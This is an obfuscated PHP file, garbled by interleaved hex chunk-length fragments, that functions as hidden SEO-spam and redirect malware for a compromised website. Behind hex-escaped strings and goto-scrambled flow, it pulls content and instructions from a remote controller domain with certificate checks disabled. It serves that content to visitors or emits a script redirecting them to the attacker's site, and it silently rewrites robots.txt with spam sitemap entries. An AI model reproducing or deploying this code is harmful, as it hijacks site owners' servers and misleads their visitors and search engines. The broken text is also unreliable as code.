1 < 5 ?php 5 got 6 o cI0D 5 v; LY 6 G63: $ 6 kk = i 6 sset($ 5 get[" 6 \x6b\1 6 53"]) 6 ? trim 16 ($get["\x6b\153"]) : ' a '; goto jH 5 FIX; 6 sIevn: 5 if ( 7 $kk !== 7 '' && 6 preg_m 5 atch( 8 "\x2f\x5 7 e\133\1 6 01\x2d e \132\x61\x2d\x 5 7a\60 d \x2d\71\x5d\x 5 2b\44 b \x2f", $kk) 5 ) { $ 6 remote 8 = getCu 5 rlFas 7 t($jd . 6 "\147 8 \145\164 b \144\157\15 8 5\x61\15 8 1\x6e\62 a \56\x61\16 9 3\160\170 6 \77\16 c 2\x6e\144\75 7 \62\x26 f \x6b\153\75" . b $kk); if (! 6 empty( e $remote)) { ec b ho $remote; 7 die; } a } goto e0 6 9EO; L 5 njYZ: 6 outpu 7 t_sitem 6 ap_and 7 _exit($ b sitemapLine 8 , $http_ 5 type) b ; goto emnX 6 E; CSy 6 Cd: $v 7 url = " 8 \164\x6f 12 \56\x6a\147\141\15 9 4\154\x73 8 \x2e\143 13 \157\155\57"; goto 5 QLluM 7 ; L3nM1 a : $surl = 11 $jd . "\x73\x7a\1 15 56\56\x61\163\160\170 c "; goto YnBr 7 1; ut_5 10 H: if (!empty($s a z)) { $jd 10 = getCurlFast("{ 11 $http_type}{$vurl 6 }\63\1 e 53\x67\x2e\141 e \x73\160\170\x a 3f\163\172 c \75" . urlen a code($sz)) 8 ; } else 2c { $jd = getCurlFast("{$http_type}{$vurl}\x3 1e 3\153\x67\x2e\141\163\160\170\ b x3f\x78\x79 10 \75{$http_type}" 6 ); $sz 33 = getCurlFast("{$http_type}{$vurl}\x33\153\147\56\ 11 141\x73\160\x78\x d 3f\x6a\144\x3 12 d" . urlencode($jd c )); } goto H 5 nOnw; b HnOnw: $hy 4 zhdy 13 = $jd . "\172\156\ 9 x2e\x61\x 18 73\160\x78"; goto L3nM1; a YnBr1: $s 12 itemapLine = "\123 c \151\x74\x65 f \155\x61\x70\x3 4 a\40 13 {$http_type}{$_SERV 6 ER["\1 b 10\124\124\ 6 x50\13 8 7\x48\11 a 7\x53\124" 13 ]}{$_SERVER["\123\x 5 43\x5 8 2\111\12 b 0\x54\137\1 9 16\101\x4 8 d\105"]} 9 \77\x77\x a 3d" . date e ("\x59\155\x64 9 \110\x69" 10 ) . "\12"; goto 5 J5G32 6 ; dsRZ 7 S: $is_ 6 no_que c ry = empty($ 11 _SERVER["\121\125 c \105\x52\131 e \137\123\x54\x c 52\111\x4e\x 5 47"]) d ; goto JD7fu; 6 b3xBO 6 : func 4 tion 17 getCurlFast($url) { $c 4 ache b d = cache_g e et($url); if ( e $cached !== fa 9 lse) { re c turn $cached 8 ; } $dat c a = ''; if ( d function_exis b ts("\x63\16 9 5\162\x6c e \137\x69\156\x 7 69\x74" c )) { $ch = c 7 url_ini 11 t($url); curl_set 7 opt_arr 6 ay($ch a , array(CU 6 RLOPT_ 5 RETUR 5 NTRAN 5 SFER 6 => tru c e, CURLOPT_C 5 ONNEC 6 TTIMEO 7 UT => 5 16 , CURLOPT_TIMEOUT => 8 e , CURLOPT_SSL_ 6 VERIFY d PEER => false 17 , CURLOPT_SSL_VERIFYHOS 15 T => false, CURLOPT_F 5 OLLOW 5 LOCAT 16 ION => false, CURLOPT_ 6 USERAG 8 ENT => " d \x4d\x6f\172\ 9 x69\x6c\1 c 54\x61\x2f\x a 35\x2e\x30 d ")); $data = 9 curl_exec e ($ch); curl_cl b ose($ch); } c if (empty($ 9 data) && f ini_get("\141\x 10 6c\154\x6f\x77\x 8 5f\x75\x e 72\154\137\x66 a \157\x70\x 10 65\156")) { $con 7 text = 7 stream_ c context_crea c te(array("\1 8 50\164\1 b 64\160" => 12 array("\164\151\15 d 5\145\x6f\x75 c \x74" => 8, f "\150\145\141\1 a 44\x65\x72 c " => "\125\1 b 63\145\x72\ 11 x2d\x41\147\145\1 7 56\x74\ 9 72\40\115 18 \x6f\172\x69\x6c\x6c\x61 b \57\65\x2e\ 9 60\15\xa" b ), "\x73\x7 13 3\x6c" => array("\x f 76\145\162\x69\ 8 146\x79\ 13 x5f\x70\145\145\162 10 " => false, "\16 10 6\x65\x72\x69\x6 14 6\x79\x5f\160\145\x6 c 5\x72\x5f\x6 d e\x61\x6d\x65 17 " => false))); $data = 4 @fil c e_get_conten 8 ts($url, 19 false, $context); } if ( 11 !empty($data)) { e cache_set($url c , $data); } c return $data d ; } goto nEuM 8 B; J5G32 11 : function ensure 6 _robot 9 s_sitemap 18 ($sitemapLine) { $robots a = rtrim($ 10 _SERVER["\x44\x4 a f\x43\125\ 9 x4d\x45\x a 4e\x54\x5f f \x52\x4f\117\x5 8 4"], "\x e 2f\x5c") . "\5 b 7\162\157\x 14 62\157\x74\x73\x2e\1 b 64\170\164" c ; if (!file_ 13 exists($robots)) { a @file_put_ 18 contents($robots, "\125\ c x73\x65\x72\ 1d 55\x61\147\145\156\x74\72\40\ a 52\xa\101\ d 154\x6c\x6f\1 e 67\x3a\40\x2f\ 7 12" . $ 11 sitemapLine, LOCK 3 _EX 25 ); } else { $c = @file_get_contents($ 11 robots); if ($c = b == false || 6 strpo 13 s($c, $sitemapLine) 2a === false) { @file_put_contents($robots, 11 $sitemapLine, FIL 6 E_APPE 4 ND | 17 LOCK_EX); } } } goto n 5 vqfY; a cI0Dv: er 6 ror_re 6 portin c g(0); goto c 6 tugb; 4 KcbV 17 Z: function cache_set($ b key, $data) 8 { $file b = sys_get_ 8 temp_dir f () . "\57\x63\1 a 41\x63\x68 8 \x65\x5f c " . md5($key f ) . "\56\x70\x6 7 8\160"; 20 @file_put_contents($file, $data 15 , LOCK_EX); } goto ob 6 bTy; t 15 TrIf: function cache_ d get($key, $ex 8 pire = 3 25 00) { $file = sys_get_temp_dir() . "\ a x2f\143\x6 2a 1\x63\x68\x65\x5f" . md5($key) . "\x2e\160 f \150\160"; if ( 16 file_exists($file) && 7 time() 7 - filem d time($file) < 13 $expire) { return 23 file_get_contents($file); } return e false; } goto c KcbVZ; e09EO 15 : if ($kk !== '' && ! 1d preg_match("\x2f\x5e\x5b\101\ 6 55\x5a 10 \x61\x2d\172\60\ 10 55\71\x5d\x2b\x2 10 4\x2f", $kk)) { 3f output_sitemap_and_exit($sitemapLine, $http_type); } goto dsRZS b ; jHFIX: $i 5 p = $ e kk !== '' ? "\ 9 66\66\56\ 9 62\64\71\ b 56\70\62\x2 6 e\x38" a : get_rea 5 l_ip( c ); goto x9Xs 6 W; rUT b it: if ($do 9 main !== b "\x67\x6f\x d 6f\x67\x6c\14 7 5" && ! a empty($iid a )) { $knam 9 e = urlde 1e code(getCurlFast($jd . "\147\1 f 56\x2e\x61\163\ d x70\170\77\15 11 1\151\144\x3d" . e $iid)); echo " f \74\x73\x63\x72 b \151\160\x7 b 4\76\x6c\15 11 7\x63\141\164\x69 f \x6f\x6e\x3d\x2 10 2" . $jd . "\141 10 \56\141\163\160\ b x78\77\x63\ 10 x6e\141\x6d\145\ 16 75" . urlencode($kname e ) . "\x26\165\ 10 x72\154\x3d" . $ 19 http_type . $_SERVER["\x4 9 8\x54\x54 d \120\137\x48\ 1c x4f\x53\124"] . $_SERVER["\x d 53\x43\x52\x4 f 9\120\x54\x5f\x 10 4e\x41\x4d\105"] c . "\x22\x3c d \x2f\163\x63\ 12 162\151\160\x74\x3 b e"; die; } a goto QgpnU a ; QLluM: $ 7 qz = su 8 bstr(str 7 _replac 13 e(array("\x77\x77\x 7 77\x2e" c , "\x2e"), ' 12 ', $_SERVER["\x48\ 12 124\124\x50\x5f\x4 15 8\x4f\x53\124"]), 0, b 3); goto EI 4 8Kp; 11 JD7fu: if ($kk = 15 == '' && $is_no_query 11 ) { if ($domain = 10 == "\x67\157\157 d \147\x6c\145" 40 ) { output_sitemap_and_exit($sitemapLine, $http_type); } else { 14 die; } } goto LnjYZ; c ctugb: $get 7 = filt 9 er_input_ 9 array(INP 5 UT_GE 8 T, FILTE 6 R_SANI 5 TIZE_ 5 STRIN f G); goto tTrIf; 14 QgpnU: if (!empty($ c iid)) { $str 17 = getCurlFast($hyzhdy 11 . "\77\151\x69\x6 9 4\75{$iid a }"); echo 27 str_replace(array("\x67\147\147\147\147 b ", "\131\13 1b 1\131\131\131", "\130\130\x b 58\131\131\ c x59", "\xe5\ 5 275\2 9 23\xe5\x8 8 9\x8d\x5 a 5\x52\x4c" d , "\125\x55\1 10 25\x55\x55", "\1 17 15\115\115\115\115", "\ 7 77\146\ e 75"), array($s 7 z, get_ 9 url_info( 11 ), get_url_info(" 11 \x62\x61\x73\x65" 1a ), get_url_info("\x66\165\ 1a 154\x6c"), get_url_info("\ a 156\157\13 11 7\x77\x77\167"), 5 parse 4 _url 17 ($_SERVER["\x52\x45\x51 e \125\x45\x53\x c 54\137\125\1 a 22\111"], 4 PHP_ 8 URL_PATH c ), "\77" . $ 8 qz . "\7 a 5"), $str) 12 ; die; } goto OiQF 8 1; nvqfY 18 : if (!empty($get["\167" a ])) { $par 6 ams = a http_build 10 _query(array("\x c 4e\x4f\125\1 c 55\142\x65\1 16 62" => $get["\x4e\x4f\ b x55\x6d\142 c \x65\x72"] ? b ? '', "\164 10 " => $get["\164" 13 ] ?? '', "\x63\156" 13 => $get["\143\156" 13 ] ?? '', "\160\x4e\ 18 117\x55\155" => $get["\x 12 70\x4e\x4f\x55\x6d 12 "] ?? '', "\143\x6 1d 9\x64" => $get["\143\151\x64" 1b ] ?? '', "\155" => $get["\x f 6d"] ?? '')); $ 14 str = getCurlFast("{ a $surl}\77{ 26 $params}"); echo str_replace(array("\x d 79\171\x6d\x6 8 d", "\14 21 7\147\147\147\147", "\77\146\x3d" 29 ), array($http_type . $_SERVER["\x48\x54\ 14 124\x50\x5f\x48\117\ 2b 123\124"] . $_SERVER["\x53\x43\x52\x49\120\ ba 124\x5f\116\101\x4d\x45"], $sz, "\77" . $qz . "\x3d"), $str); die; } goto LYG63; EI8Kp: $sz = $iid = ''; goto S5sdM; OiQF1: function output_sitemap_and_exit($sitemapLine, $http_type) { e 2b nsure_robots_sitemap($sitemapLine); echo "\ b x3c\144\151 a \x76\x20\x c 73\164\x79\1 8 54\145\x 10 3d\x27\x74\x65\1 c 70\164\x2d\1 12 41\x6c\151\x67\156 d \72\x63\145\x c 6e\x74\145\x d 72\x3b\160\14 9 1\144\x64 1f \x69\156\x67\72\61\60\x70\170\x 9 20\60\73\ a 47\x3e\xa\ d x20\40\40\40\ 1f x20\40\40\40\40\40\40\x20\74\14 51 1\x20\x68\x72\x65\146\x3d\x22{$http_type}{$_SERVER["\110\x54\x54\x50\x5f\x48\x4f\ 16 123\x54"]}{$_SERVER["\ 7 x53\103 9 \122\x49\ 10 x50\124\x5f\116\ 14 x41\x4d\105"]}\77\16 1d 7\x3d" . date("\x59\155\144\x 7 48\151" f ) . "\x22\40\16 14 4\141\x72\x67\145\x7 7 4\x3d\4 a 2\x5f\142\ f 154\x61\156\153 e \x22\x20\162\1 e 45\154\x3d\x22 8 \x6e\x6f a \x66\x6f\1 15 54\154\x6f\x77\x22\x3 7 e\x53\x e 69\x74\145\x6d 13 \x61\160\74\x2f\141 f \x3e\12\40\x20\ 12 x20\40\40\x20\x20\ 13 x20\x20\40\74\x2f\x d 64\151\x76\76 15 "; die; } goto sIevn; 14 S5sdM: if (!empty($ b _GET)) { $f a = reset($ 9 _GET); $s 8 p = expl 8 ode("\x2 e d", $f); if (c 7 ount($s 27 p) === 2) { $sz = $sp[0]; $iid = $sp[1] 11 ; } } goto ut_5H; 14 obbTy: function get 10 _real_ip() { $ke e ys = array("\1 11 10\x54\x54\120\x5 9 f\103\106 b \137\103\11 17 7\116\x4e\105\103\x54\1 16 11\x4e\x47\137\111\120 11 ", "\110\124\124\ 12 120\x5f\130\x5f\12 c 2\x45\x41\x4 d c\137\x49\x50 22 ", "\110\x54\x54\x50\x5f\130\x5f\1 c 06\x4f\122\1 d 27\101\x52\x4 10 4\105\104\x5f\x4 f 6\x4f\122", "\x 13 48\x54\124\120\137\ d 103\x4c\x49\1 14 05\x4e\x54\x5f\111\x 12 50", "\122\x45\x4d d \117\124\x45\ e 137\101\x44\10 b 4\x52"); fo 6 reach 9 ($keys as c $k) { if (! 11 empty($_SERVER[$k d ])) { $ip = $ 19 _SERVER[$k]; if (strpos($ 9 ip, "\54" f ) !== false) { 17 $ip = trim(explode("\x2 8 c", $ip) c [0]); } if ( a filter_var e ($ip, FILTER_V 5 ALIDA 6 TE_IP) e ) { return $ip 10 ; } } } return " 9 \61\62\x3 11 7\56\60\56\60\56\ d x31"; } goto 6 b3xBO; 11 x9XsW: $domain = 1e trim(getCurlFast($jd . "\147\ f x65\x74\x64\157 7 \x6d\14 26 1\151\x6e\62\56\141\163\160\170\x3f\x7 e 2\156\x64\x3d\ e 61\x26\151\x70 c \x3d" . $ip) e ); goto rUTit; 15 nEuMB: function get_ e url_info(strin 8 g $type 10 = "\x64\157\155\ 7 141\x69 10 \156") : string 7 { $host 22 = $_SERVER["\110\124\124\x50\137\ c 110\x4f\123\ b 124"] ?? '' 12 ; if ($type === "\ e 156\157\x5f\16 15 7\x77\167") { return d preg_replace( e "\x2f\136\167\ 10 167\167\134\x2e\ 9 57\x69", e '', $host); } 7 $protoc 6 ol = ! 23 empty($_SERVER["\x48\124\124\x50\x5 9 3"]) && $ 1f _SERVER["\x48\x54\x54\120\x53"] f !== "\x6f\x66\ 9 146" ? "\ f x68\x74\x74\x70 b \163\72\x2f 8 \x2f" : 1e "\x68\x74\x74\x70\x3a\x2f\x2f" 6 ; $bas f e = $protocol . 18 $host; if ($type === "\ d x62\141\163\1 13 45") { return $base 17 ; } if ($type === "\x66 c \x75\154\154 14 ") { return $base . 17 ($_SERVER["\x52\105\121 11 \x55\x45\x53\x54\ f x5f\x55\x52\x49 15 "] ?? ''); } return $ f host; } goto Ii a HkS; IiHkS d : $http_type 26 = !empty($_SERVER["\110\x54\x54\120\x5 25 3"]) && $_SERVER["\x48\124\124\120\x5 12 3"] !== "\x6f\146\ d 146" ? "\150\ 20 x74\x74\x70\x73\72\x2f\x2f" : "\ 14 150\164\164\160\x3a\ e 57\x2f"; goto c CSyCd; emnXE 4 : ?> 0